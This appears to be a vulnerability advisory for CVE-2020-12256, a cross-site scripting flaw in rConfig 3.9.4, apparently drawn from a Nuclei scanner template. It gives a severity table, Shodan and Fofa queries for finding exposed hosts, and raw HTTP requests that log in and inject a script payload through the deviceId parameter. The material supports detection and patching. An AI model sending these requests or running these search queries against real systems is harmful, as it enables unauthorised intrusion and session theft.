| Title | rConfig 3.9.4 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the deviceId parameter, potentially stealing session cookies or performing administrative actions on behalf of authenticated users. |
| Remediation | Upgrade to rConfig version 3.9.7 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.54902 |
| CVE ID | CVE-2020-12256 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"rConfig"http.title:"rconfig" |
| Fofa Query | title="rconfig" |
| Tags | cve cve2020 rconfig authenticated xss vuln |
The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in deviceId GET parameter of devicemgmnt.php resulting in execution of the javascript.
GET /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /lib/crud/userprocess.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user=M2UXPd&pass=C5LXks&sublogin=1
GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12256.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-12256.pcap
N/AN/A